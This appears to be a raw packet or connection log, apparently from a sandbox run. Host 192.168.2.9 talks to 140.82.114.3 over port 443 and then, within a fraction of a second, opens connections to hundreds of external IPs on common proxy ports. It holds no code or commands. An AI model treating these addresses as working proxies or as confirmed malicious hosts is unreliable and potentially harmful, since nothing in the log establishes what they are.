Mar 11, 2024 15:21:00.871974945 CET	49708	443	192.168.2.9	140.82.114.3
Mar 11, 2024 15:21:01.000091076 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:01.000168085 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:01.000199080 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:01.000241995 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:01.000242949 CET	49708	443	192.168.2.9	140.82.114.3
Mar 11, 2024 15:21:01.000267982 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:01.000292063 CET	49708	443	192.168.2.9	140.82.114.3
Mar 11, 2024 15:21:01.000310898 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:01.000384092 CET	49708	443	192.168.2.9	140.82.114.3
Mar 11, 2024 15:21:01.000390053 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:01.000427961 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:01.000457048 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:01.000497103 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:01.000502110 CET	49708	443	192.168.2.9	140.82.114.3
Mar 11, 2024 15:21:01.000508070 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:01.000541925 CET	49708	443	192.168.2.9	140.82.114.3
Mar 11, 2024 15:21:01.000546932 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:01.000577927 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:01.000586033 CET	49708	443	192.168.2.9	140.82.114.3
Mar 11, 2024 15:21:01.000590086 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:01.000628948 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:01.000653028 CET	49708	443	192.168.2.9	140.82.114.3
Mar 11, 2024 15:21:01.000657082 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:01.000694990 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:01.000725031 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:01.000745058 CET	49708	443	192.168.2.9	140.82.114.3
Mar 11, 2024 15:21:01.000750065 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:01.000772953 CET	49708	443	192.168.2.9	140.82.114.3
Mar 11, 2024 15:21:01.000792027 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:01.000822067 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:01.000858068 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:01.000879049 CET	49708	443	192.168.2.9	140.82.114.3
Mar 11, 2024 15:21:01.000885010 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:01.000897884 CET	49708	443	192.168.2.9	140.82.114.3
Mar 11, 2024 15:21:01.000922918 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:01.000952959 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:01.000983000 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:01.000998020 CET	49708	443	192.168.2.9	140.82.114.3
Mar 11, 2024 15:21:01.001004934 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:01.001029968 CET	49708	443	192.168.2.9	140.82.114.3
Mar 11, 2024 15:21:01.001075983 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:01.001104116 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:01.001125097 CET	49708	443	192.168.2.9	140.82.114.3
Mar 11, 2024 15:21:01.001128912 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:01.001158953 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:01.001174927 CET	49708	443	192.168.2.9	140.82.114.3
Mar 11, 2024 15:21:01.001179934 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:01.001219034 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:01.001238108 CET	49708	443	192.168.2.9	140.82.114.3
Mar 11, 2024 15:21:01.001243114 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:01.001290083 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:01.001310110 CET	49708	443	192.168.2.9	140.82.114.3
Mar 11, 2024 15:21:01.001313925 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:01.001353025 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:01.001374006 CET	49708	443	192.168.2.9	140.82.114.3
Mar 11, 2024 15:21:01.001378059 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:01.001410961 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:01.001424074 CET	49708	443	192.168.2.9	140.82.114.3
Mar 11, 2024 15:21:01.001429081 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:01.001471043 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:01.001471043 CET	49708	443	192.168.2.9	140.82.114.3
Mar 11, 2024 15:21:01.001482010 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:01.001533031 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:01.001540899 CET	49708	443	192.168.2.9	140.82.114.3
Mar 11, 2024 15:21:01.001549959 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:01.001585960 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:01.001597881 CET	49708	443	192.168.2.9	140.82.114.3
Mar 11, 2024 15:21:01.001601934 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:01.001631021 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:01.001647949 CET	49708	443	192.168.2.9	140.82.114.3
Mar 11, 2024 15:21:01.001652956 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:01.001688957 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:01.001698971 CET	49708	443	192.168.2.9	140.82.114.3
Mar 11, 2024 15:21:01.001703024 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:01.001740932 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:01.001760006 CET	49708	443	192.168.2.9	140.82.114.3
Mar 11, 2024 15:21:01.001765013 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:01.001801968 CET	49708	443	192.168.2.9	140.82.114.3
Mar 11, 2024 15:21:01.001806021 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:01.001813889 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:01.001848936 CET	49708	443	192.168.2.9	140.82.114.3
Mar 11, 2024 15:21:01.001852989 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:01.001983881 CET	49708	443	192.168.2.9	140.82.114.3
Mar 11, 2024 15:21:01.002096891 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:01.002165079 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:01.002239943 CET	443	49708	140.82.114.3	192.168.2.9
Mar 11, 2024 15:21:01.002242088 CET	49708	443	192.168.2.9	140.82.114.3
Mar 11, 2024 15:21:01.002280951 CET	49708	443	192.168.2.9	140.82.114.3
Mar 11, 2024 15:21:01.002381086 CET	49708	443	192.168.2.9	140.82.114.3
Mar 11, 2024 15:21:01.021771908 CET	49708	443	192.168.2.9	140.82.114.3
Mar 11, 2024 15:21:01.076039076 CET	49710	80	192.168.2.9	117.160.250.133
Mar 11, 2024 15:21:01.076838970 CET	49711	45776	192.168.2.9	192.3.127.220
Mar 11, 2024 15:21:01.077518940 CET	49712	22040	192.168.2.9	161.97.163.52
Mar 11, 2024 15:21:01.079531908 CET	49713	3128	192.168.2.9	12.156.45.155
Mar 11, 2024 15:21:01.079531908 CET	49714	80	192.168.2.9	142.44.210.174
Mar 11, 2024 15:21:01.080153942 CET	49715	3128	192.168.2.9	122.155.165.191
Mar 11, 2024 15:21:01.080723047 CET	49716	57699	192.168.2.9	85.25.177.53
Mar 11, 2024 15:21:01.082034111 CET	49717	4153	192.168.2.9	212.220.13.98
Mar 11, 2024 15:21:01.082351923 CET	49718	4890	192.168.2.9	188.191.164.55
Mar 11, 2024 15:21:01.082653046 CET	49719	80	192.168.2.9	172.173.132.85
Mar 11, 2024 15:21:01.085417986 CET	49720	8080	192.168.2.9	46.0.203.186
Mar 11, 2024 15:21:01.087735891 CET	49721	80	192.168.2.9	51.210.216.54
Mar 11, 2024 15:21:01.090009928 CET	49722	3030	192.168.2.9	154.83.29.105
Mar 11, 2024 15:21:01.091878891 CET	49723	3128	192.168.2.9	39.109.113.97
Mar 11, 2024 15:21:01.093755960 CET	49724	999	192.168.2.9	131.100.48.97
Mar 11, 2024 15:21:01.096158981 CET	49725	80	192.168.2.9	50.218.57.71
Mar 11, 2024 15:21:01.097902060 CET	49726	8080	192.168.2.9	46.209.54.102
Mar 11, 2024 15:21:01.101608038 CET	49728	15673	192.168.2.9	8.217.143.187
Mar 11, 2024 15:21:01.102205992 CET	49727	34455	192.168.2.9	162.241.66.135
Mar 11, 2024 15:21:01.104222059 CET	49729	80	192.168.2.9	50.217.226.44
Mar 11, 2024 15:21:01.106184006 CET	49730	15673	192.168.2.9	8.217.44.229
Mar 11, 2024 15:21:01.108704090 CET	49731	7497	192.168.2.9	157.230.8.196
Mar 11, 2024 15:21:01.109776020 CET	49732	8080	192.168.2.9	61.7.138.243
Mar 11, 2024 15:21:01.113143921 CET	49733	8080	192.168.2.9	46.209.207.149
Mar 11, 2024 15:21:01.115128994 CET	49734	3128	192.168.2.9	165.232.158.60
Mar 11, 2024 15:21:01.117588043 CET	49735	64312	192.168.2.9	104.128.103.32
Mar 11, 2024 15:21:01.119981050 CET	49736	8080	192.168.2.9	180.180.218.250
Mar 11, 2024 15:21:01.122164965 CET	49737	35650	192.168.2.9	138.68.155.22
Mar 11, 2024 15:21:01.123935938 CET	49738	8089	192.168.2.9	114.106.173.229
Mar 11, 2024 15:21:01.126876116 CET	49739	32588	192.168.2.9	91.134.140.160
Mar 11, 2024 15:21:01.129252911 CET	49740	80	192.168.2.9	50.220.168.134
Mar 11, 2024 15:21:01.131298065 CET	49741	4153	192.168.2.9	103.209.230.185
Mar 11, 2024 15:21:01.133025885 CET	49742	47270	192.168.2.9	103.233.2.90
Mar 11, 2024 15:21:01.135075092 CET	49743	999	192.168.2.9	181.78.19.242
Mar 11, 2024 15:21:01.136987925 CET	49744	999	192.168.2.9	189.173.223.225
Mar 11, 2024 15:21:01.138730049 CET	49745	33333	192.168.2.9	101.255.116.163
Mar 11, 2024 15:21:01.141258955 CET	49746	80	192.168.2.9	50.174.214.218
Mar 11, 2024 15:21:01.142980099 CET	49747	8080	192.168.2.9	103.167.68.77
Mar 11, 2024 15:21:01.144639015 CET	49748	80	192.168.2.9	52.67.10.183
Mar 11, 2024 15:21:01.146502972 CET	49749	8118	192.168.2.9	185.164.163.135
Mar 11, 2024 15:21:01.148791075 CET	49750	80	192.168.2.9	45.117.179.209
Mar 11, 2024 15:21:01.152241945 CET	49751	80	192.168.2.9	211.43.214.205
Mar 11, 2024 15:21:01.153579950 CET	49752	29212	192.168.2.9	92.204.135.203
Mar 11, 2024 15:21:01.155953884 CET	49753	8080	192.168.2.9	103.224.124.75
Mar 11, 2024 15:21:01.157751083 CET	49754	80	192.168.2.9	182.72.203.255
Mar 11, 2024 15:21:01.160181046 CET	49755	29313	192.168.2.9	132.148.128.88
Mar 11, 2024 15:21:01.161650896 CET	49756	9002	192.168.2.9	183.234.85.26
Mar 11, 2024 15:21:01.163404942 CET	49757	6060	192.168.2.9	185.165.232.45
Mar 11, 2024 15:21:01.166074991 CET	49758	80	192.168.2.9	50.173.182.90
Mar 11, 2024 15:21:01.167365074 CET	49759	4145	192.168.2.9	12.89.124.138
Mar 11, 2024 15:21:01.168683052 CET	49760	3128	192.168.2.9	195.93.172.32
Mar 11, 2024 15:21:01.171890020 CET	49761	1080	192.168.2.9	31.169.79.37
Mar 11, 2024 15:21:01.173336029 CET	49762	24000	192.168.2.9	162.254.38.202
Mar 11, 2024 15:21:01.175673008 CET	49763	55610	192.168.2.9	162.241.45.22
Mar 11, 2024 15:21:01.177278996 CET	49764	52593	192.168.2.9	37.187.77.58
Mar 11, 2024 15:21:01.178775072 CET	49765	3128	192.168.2.9	84.17.51.235
Mar 11, 2024 15:21:01.181202888 CET	49766	8080	192.168.2.9	103.122.60.241
Mar 11, 2024 15:21:01.183115005 CET	49767	9090	192.168.2.9	38.10.69.109
Mar 11, 2024 15:21:01.186160088 CET	49768	55443	192.168.2.9	103.206.208.135
Mar 11, 2024 15:21:01.186701059 CET	49769	9050	192.168.2.9	95.38.95.55
Mar 11, 2024 15:21:01.190227985 CET	49770	80	192.168.2.9	203.34.28.166
Mar 11, 2024 15:21:01.192061901 CET	49771	80	192.168.2.9	104.23.107.172
Mar 11, 2024 15:21:01.194520950 CET	49772	5385	192.168.2.9	72.10.160.170
Mar 11, 2024 15:21:01.199177980 CET	49773	34409	192.168.2.9	212.110.188.220
Mar 11, 2024 15:21:01.199951887 CET	49774	3128	192.168.2.9	185.123.143.251
Mar 11, 2024 15:21:01.203352928 CET	49775	11679	192.168.2.9	67.43.236.20
Mar 11, 2024 15:21:01.207243919 CET	49776	57144	192.168.2.9	49.12.126.53
Mar 11, 2024 15:21:01.214210987 CET	49777	80	192.168.2.9	104.20.123.164
Mar 11, 2024 15:21:01.215295076 CET	49778	80	192.168.2.9	82.119.96.254
Mar 11, 2024 15:21:01.217679977 CET	49779	8080	192.168.2.9	103.245.204.214
Mar 11, 2024 15:21:01.220201969 CET	49780	80	192.168.2.9	50.145.6.32
Mar 11, 2024 15:21:01.223587990 CET	49781	80	192.168.2.9	47.93.121.200
Mar 11, 2024 15:21:01.227370977 CET	49782	3128	192.168.2.9	103.106.115.50
Mar 11, 2024 15:21:01.229268074 CET	49783	1111	192.168.2.9	103.169.148.2
Mar 11, 2024 15:21:01.232423067 CET	49784	80	192.168.2.9	123.126.158.50
Mar 11, 2024 15:21:01.248393059 CET	49785	999	192.168.2.9	181.209.78.75
Mar 11, 2024 15:21:01.249761105 CET	49786	2563	192.168.2.9	51.222.241.157
Mar 11, 2024 15:21:01.252522945 CET	49787	3128	192.168.2.9	155.50.241.99
Mar 11, 2024 15:21:01.253144026 CET	49788	8181	192.168.2.9	103.78.96.146
Mar 11, 2024 15:21:01.255974054 CET	49789	999	192.168.2.9	38.49.129.154
Mar 11, 2024 15:21:01.257419109 CET	49790	80	192.168.2.9	50.168.163.166
Mar 11, 2024 15:21:01.260395050 CET	49791	83	192.168.2.9	103.48.69.113
Mar 11, 2024 15:21:01.263492107 CET	49792	51251	192.168.2.9	49.12.126.53
Mar 11, 2024 15:21:01.265113115 CET	49793	1202	192.168.2.9	157.230.226.230
Mar 11, 2024 15:21:01.268047094 CET	49794	80	192.168.2.9	167.99.174.59
Mar 11, 2024 15:21:01.270297050 CET	49795	999	192.168.2.9	190.110.99.189
Mar 11, 2024 15:21:01.271787882 CET	49796	5678	192.168.2.9	202.144.134.150
Mar 11, 2024 15:21:01.274245977 CET	49797	8080	192.168.2.9	160.248.80.91
Mar 11, 2024 15:21:01.276191950 CET	49798	4153	192.168.2.9	185.171.54.34
Mar 11, 2024 15:21:01.281970978 CET	49799	8080	192.168.2.9	178.213.24.233
Mar 11, 2024 15:21:01.282568932 CET	49800	31164	192.168.2.9	177.72.115.25
Mar 11, 2024 15:21:01.289599895 CET	3128	49734	165.232.158.60	192.168.2.9
Mar 11, 2024 15:21:01.292560101 CET	49801	8181	192.168.2.9	103.179.252.86
Mar 11, 2024 15:21:01.293881893 CET	49802	42214	192.168.2.9	167.86.69.142
Mar 11, 2024 15:21:01.297480106 CET	49803	80	192.168.2.9	103.231.78.36
Mar 11, 2024 15:21:01.299338102 CET	49804	8080	192.168.2.9	188.190.40.44
Mar 11, 2024 15:21:01.300702095 CET	34455	49727	162.241.66.135	192.168.2.9
Mar 11, 2024 15:21:01.302195072 CET	49805	80	192.168.2.9	188.165.213.106
Mar 11, 2024 15:21:01.303845882 CET	49806	80	192.168.2.9	104.19.109.209
Mar 11, 2024 15:21:01.305217028 CET	49807	64110	192.168.2.9	164.92.86.113
Mar 11, 2024 15:21:01.307277918 CET	49808	63452	192.168.2.9	162.214.225.223
Mar 11, 2024 15:21:01.309211016 CET	49809	8080	192.168.2.9	103.130.82.46
Mar 11, 2024 15:21:01.311589003 CET	49810	4145	192.168.2.9	197.234.13.6
Mar 11, 2024 15:21:01.313110113 CET	49811	8080	192.168.2.9	84.241.8.234
Mar 11, 2024 15:21:01.315339088 CET	49812	8080	192.168.2.9	102.68.128.218
Mar 11, 2024 15:21:01.317219019 CET	49813	8080	192.168.2.9	103.245.16.133
Mar 11, 2024 15:21:01.319639921 CET	49814	55438	192.168.2.9	36.255.211.1
Mar 11, 2024 15:21:01.321269989 CET	49815	8000	192.168.2.9	42.61.48.219
Mar 11, 2024 15:21:01.323282003 CET	49816	80	192.168.2.9	217.182.210.152
Mar 11, 2024 15:21:01.324898958 CET	49817	80	192.168.2.9	104.17.62.87
Mar 11, 2024 15:21:01.326905966 CET	49818	80	192.168.2.9	216.137.184.253
Mar 11, 2024 15:21:01.328778982 CET	49819	1111	192.168.2.9	103.189.249.196
Mar 11, 2024 15:21:01.330486059 CET	49820	8080	192.168.2.9	103.167.68.255
Mar 11, 2024 15:21:01.332417965 CET	49821	4145	192.168.2.9	74.119.144.60
Mar 11, 2024 15:21:01.334216118 CET	49822	1080	192.168.2.9	45.128.135.253
Mar 11, 2024 15:21:01.335371017 CET	7497	49731	157.230.8.196	192.168.2.9
Mar 11, 2024 15:21:01.336152077 CET	49823	8089	192.168.2.9	113.223.213.242
Mar 11, 2024 15:21:01.338213921 CET	49824	37758	192.168.2.9	37.32.98.160
Mar 11, 2024 15:21:01.340986967 CET	49825	4153	192.168.2.9	213.135.234.101
Mar 11, 2024 15:21:01.345865011 CET	49826	8080	192.168.2.9	188.132.222.194
Mar 11, 2024 15:21:01.347645044 CET	49827	9812	192.168.2.9	12.7.109.1
Mar 11, 2024 15:21:01.347707033 CET	80	49770	203.34.28.166	192.168.2.9
Mar 11, 2024 15:21:01.347799063 CET	49770	80	192.168.2.9	203.34.28.166
Mar 11, 2024 15:21:01.348984957 CET	49770	80	192.168.2.9	203.34.28.166
Mar 11, 2024 15:21:01.349669933 CET	80	49771	104.23.107.172	192.168.2.9
Mar 11, 2024 15:21:01.352431059 CET	49771	80	192.168.2.9	104.23.107.172
Mar 11, 2024 15:21:01.352986097 CET	49771	80	192.168.2.9	104.23.107.172
Mar 11, 2024 15:21:01.354624033 CET	49828	44607	192.168.2.9	162.241.158.204
Mar 11, 2024 15:21:01.361994982 CET	49829	8090	192.168.2.9	182.160.103.220
Mar 11, 2024 15:21:01.366470098 CET	49830	80	192.168.2.9	36.92.193.189
Mar 11, 2024 15:21:01.369398117 CET	52593	49764	37.187.77.58	192.168.2.9
Mar 11, 2024 15:21:01.369484901 CET	49764	52593	192.168.2.9	37.187.77.58
Mar 11, 2024 15:21:01.369896889 CET	49764	52593	192.168.2.9	37.187.77.58
Mar 11, 2024 15:21:01.370842934 CET	49831	10710	192.168.2.9	37.187.77.58
Mar 11, 2024 15:21:01.371939898 CET	80	49777	104.20.123.164	192.168.2.9
Mar 11, 2024 15:21:01.372148991 CET	49777	80	192.168.2.9	104.20.123.164
Mar 11, 2024 15:21:01.372431993 CET	49777	80	192.168.2.9	104.20.123.164
Mar 11, 2024 15:21:01.372725964 CET	49832	40571	192.168.2.9	216.10.242.18
Mar 11, 2024 15:21:01.373704910 CET	49833	16379	192.168.2.9	163.172.129.251
Mar 11, 2024 15:21:01.377291918 CET	49834	8888	192.168.2.9	119.3.215.41
Mar 11, 2024 15:21:01.378621101 CET	49835	8000	192.168.2.9	142.93.2.226
Mar 11, 2024 15:21:01.379846096 CET	49836	8899	192.168.2.9	66.228.140.209
Mar 11, 2024 15:21:01.381339073 CET	49837	8080	192.168.2.9	1.10.183.22
Mar 11, 2024 15:21:01.381341934 CET	29212	49752	92.204.135.203	192.168.2.9
Mar 11, 2024 15:21:01.381511927 CET	49752	29212	192.168.2.9	92.204.135.203
Mar 11, 2024 15:21:01.382504940 CET	49752	29212	192.168.2.9	92.204.135.203
Mar 11, 2024 15:21:01.382642984 CET	49838	80	192.168.2.9	50.168.163.182
Mar 11, 2024 15:21:01.383215904 CET	80	49725	50.218.57.71	192.168.2.9
Mar 11, 2024 15:21:01.383547068 CET	80	49740	50.220.168.134	192.168.2.9
Mar 11, 2024 15:21:01.384342909 CET	49839	5678	192.168.2.9	181.117.128.38
Mar 11, 2024 15:21:01.385371923 CET	49840	5566	192.168.2.9	85.25.93.172
Mar 11, 2024 15:21:01.387202024 CET	49841	8560	192.168.2.9	92.205.28.245
Mar 11, 2024 15:21:01.391060114 CET	49842	9834	192.168.2.9	91.241.131.179
Mar 11, 2024 15:21:01.392154932 CET	49843	10249	192.168.2.9	162.241.114.39
Mar 11, 2024 15:21:01.395900011 CET	49844	3128	192.168.2.9	81.134.57.82
Mar 11, 2024 15:21:01.398356915 CET	49845	11691	192.168.2.9	72.10.160.90
Mar 11, 2024 15:21:01.399894953 CET	49846	3128	192.168.2.9	91.189.177.189
Mar 11, 2024 15:21:01.402455091 CET	49847	8080	192.168.2.9	193.34.95.110
Mar 11, 2024 15:21:01.402657986 CET	80	49729	50.217.226.44	192.168.2.9
Mar 11, 2024 15:21:01.404864073 CET	49848	43100	192.168.2.9	192.163.201.131
Mar 11, 2024 15:21:01.407147884 CET	49849	8080	192.168.2.9	200.55.249.135
Mar 11, 2024 15:21:01.411727905 CET	15673	49730	8.217.44.229	192.168.2.9
Mar 11, 2024 15:21:01.411865950 CET	49730	15673	192.168.2.9	8.217.44.229
Mar 11, 2024 15:21:01.417021990 CET	15673	49728	8.217.143.187	192.168.2.9
Mar 11, 2024 15:21:01.417853117 CET	49728	15673	192.168.2.9	8.217.143.187
Mar 11, 2024 15:21:01.418101072 CET	80	49780	50.145.6.32	192.168.2.9
Mar 11, 2024 15:21:01.418317080 CET	49730	15673	192.168.2.9	8.217.44.229
Mar 11, 2024 15:21:01.418330908 CET	49728	15673	192.168.2.9	8.217.143.187
Mar 11, 2024 15:21:01.419544935 CET	49850	80	192.168.2.9	37.120.189.106
Mar 11, 2024 15:21:01.420566082 CET	49851	28040	192.168.2.9	132.148.167.243
Mar 11, 2024 15:21:01.421343088 CET	49852	16099	192.168.2.9	67.79.51.210
Mar 11, 2024 15:21:01.421575069 CET	49855	8081	192.168.2.9	83.238.80.18
Mar 11, 2024 15:21:01.421828032 CET	49853	13351	192.168.2.9	67.43.227.227
Mar 11, 2024 15:21:01.421971083 CET	49854	999	192.168.2.9	38.7.204.129
Mar 11, 2024 15:21:01.422434092 CET	49857	8061	192.168.2.9	103.169.254.186
Mar 11, 2024 15:21:01.422652006 CET	49856	80	192.168.2.9	50.221.74.130
Mar 11, 2024 15:21:01.423743010 CET	5385	49772	72.10.160.170	192.168.2.9
Mar 11, 2024 15:21:01.423994064 CET	49858	35396	192.168.2.9	192.163.200.93
Mar 11, 2024 15:21:01.425359011 CET	49859	9375	192.168.2.9	92.204.134.38
Mar 11, 2024 15:21:01.425417900 CET	49860	3128	192.168.2.9	18.237.185.112
Mar 11, 2024 15:21:01.425600052 CET	49861	80	192.168.2.9	94.20.183.172
Mar 11, 2024 15:21:01.426595926 CET	49862	48678	192.168.2.9	31.197.253.254
Mar 11, 2024 15:21:01.426649094 CET	49865	3128	192.168.2.9	83.229.61.198
Mar 11, 2024 15:21:01.426692963 CET	49863	80	192.168.2.9	172.64.80.55
Mar 11, 2024 15:21:01.426860094 CET	49864	29758	192.168.2.9	51.161.99.114
Mar 11, 2024 15:21:01.427174091 CET	49866	8080	192.168.2.9	125.212.231.220
Mar 11, 2024 15:21:01.427545071 CET	49867	1080	192.168.2.9	195.98.74.57
Mar 11, 2024 15:21:01.428195953 CET	49870	58249	192.168.2.9	159.203.5.54
Mar 11, 2024 15:21:01.428292036 CET	49868	8080	192.168.2.9	103.118.46.61
Mar 11, 2024 15:21:01.428371906 CET	49869	31042	192.168.2.9	162.214.227.68
Mar 11, 2024 15:21:01.428755045 CET	49871	8080	192.168.2.9	185.194.11.180
Mar 11, 2024 15:21:01.428929090 CET	49872	80	192.168.2.9	65.109.163.154
Mar 11, 2024 15:21:01.429464102 CET	49874	30895	192.168.2.9	91.134.140.160
Mar 11, 2024 15:21:01.429831982 CET	49873	6522	192.168.2.9	45.117.179.179
Mar 11, 2024 15:21:01.430032969 CET	49877	3128	192.168.2.9	213.97.161.224
Mar 11, 2024 15:21:01.430124998 CET	49876	8811	192.168.2.9	51.158.172.165
Mar 11, 2024 15:21:01.430157900 CET	49875	80	192.168.2.9	50.172.75.121
Mar 11, 2024 15:21:01.430746078 CET	49878	80	192.168.2.9	185.162.228.128
Mar 11, 2024 15:21:01.431087971 CET	49880	3128	192.168.2.9	104.248.146.99
Mar 11, 2024 15:21:01.431412935 CET	49879	44017	192.168.2.9	195.138.73.54
Mar 11, 2024 15:21:01.431740999 CET	49883	3128	192.168.2.9	86.107.178.109
Mar 11, 2024 15:21:01.431778908 CET	49881	1081	192.168.2.9	94.131.14.66
Mar 11, 2024 15:21:01.432024956 CET	49882	999	192.168.2.9	106.75.174.172
Mar 11, 2024 15:21:01.432167053 CET	11679	49775	67.43.236.20	192.168.2.9
Mar 11, 2024 15:21:01.432230949 CET	49885	36181	192.168.2.9	69.61.200.104
Mar 11, 2024 15:21:01.432390928 CET	4153	49741	103.209.230.185	192.168.2.9
Mar 11, 2024 15:21:01.433342934 CET	49884	8080	192.168.2.9	187.188.169.169
Mar 11, 2024 15:21:01.433387995 CET	49886	50109	192.168.2.9	31.24.44.92
Mar 11, 2024 15:21:01.433491945 CET	80	49746	50.174.214.218	192.168.2.9
Mar 11, 2024 15:21:01.433919907 CET	49887	80	192.168.2.9	50.170.90.27
Mar 11, 2024 15:21:01.434202909 CET	49888	1080	192.168.2.9	88.255.102.40
Mar 11, 2024 15:21:01.434309006 CET	49889	34405	192.168.2.9	212.110.188.189
Mar 11, 2024 15:21:01.434792995 CET	49890	38242	192.168.2.9	198.57.195.42
Mar 11, 2024 15:21:01.435416937 CET	49891	80	192.168.2.9	181.120.28.228
Mar 11, 2024 15:21:01.435559034 CET	49892	3128	192.168.2.9	160.16.90.35
Mar 11, 2024 15:21:01.436237097 CET	49893	8002	192.168.2.9	39.108.229.14
Mar 11, 2024 15:21:01.436842918 CET	49894	80	192.168.2.9	104.21.218.103
Mar 11, 2024 15:21:01.439541101 CET	49895	29703	192.168.2.9	147.182.194.76
Mar 11, 2024 15:21:01.439709902 CET	3128	49715	122.155.165.191	192.168.2.9
Mar 11, 2024 15:21:01.440006018 CET	49896	32092	192.168.2.9	161.97.163.52
Mar 11, 2024 15:21:01.440623999 CET	49897	3128	192.168.2.9	45.159.189.244
Mar 11, 2024 15:21:01.440995932 CET	49898	999	192.168.2.9	177.136.84.200
Mar 11, 2024 15:21:01.441443920 CET	49899	80	192.168.2.9	45.14.174.148
Mar 11, 2024 15:21:01.451502085 CET	49900	80	192.168.2.9	45.224.247.102
Mar 11, 2024 15:21:01.451716900 CET	49901	53718	192.168.2.9	207.244.241.165
Mar 11, 2024 15:21:01.452663898 CET	49902	8080	192.168.2.9	185.108.141.19
Mar 11, 2024 15:21:01.453905106 CET	49903	1080	192.168.2.9	171.247.245.221
Mar 11, 2024 15:21:01.454121113 CET	49904	80	192.168.2.9	104.16.106.234
Mar 11, 2024 15:21:01.454896927 CET	49905	80	192.168.2.9	23.161.96.132
Mar 11, 2024 15:21:01.458224058 CET	49906	4145	192.168.2.9	185.136.150.252
Mar 11, 2024 15:21:01.458575010 CET	49907	8080	192.168.2.9	91.187.113.68
Mar 11, 2024 15:21:01.458802938 CET	49908	58438	192.168.2.9	208.109.39.171
Mar 11, 2024 15:21:01.459038019 CET	49909	443	192.168.2.9	47.236.85.113
Mar 11, 2024 15:21:01.459068060 CET	443	49909	47.236.85.113	192.168.2.9
Mar 11, 2024 15:21:01.459156990 CET	49909	443	192.168.2.9	47.236.85.113
Mar 11, 2024 15:21:01.459402084 CET	49909	443	192.168.2.9	47.236.85.113
Mar 11, 2024 15:21:01.459417105 CET	443	49909	47.236.85.113	192.168.2.9
Mar 11, 2024 15:21:01.459476948 CET	49910	12919	192.168.2.9	192.169.205.131
Mar 11, 2024 15:21:01.459542990 CET	443	49909	47.236.85.113	192.168.2.9
Mar 11, 2024 15:21:01.459558964 CET	80	49758	50.173.182.90	192.168.2.9
Mar 11, 2024 15:21:01.459822893 CET	49911	1080	192.168.2.9	168.138.162.66
Mar 11, 2024 15:21:01.460055113 CET	49912	8082	192.168.2.9	103.108.89.164
Mar 11, 2024 15:21:01.460306883 CET	49913	5219	192.168.2.9	45.11.95.165
Mar 11, 2024 15:21:01.460562944 CET	49914	1080	192.168.2.9	5.180.19.163
Mar 11, 2024 15:21:01.460719109 CET	49915	59792	192.168.2.9	95.216.224.15
Mar 11, 2024 15:21:01.461565971 CET	49916	1080	192.168.2.9	103.47.93.216
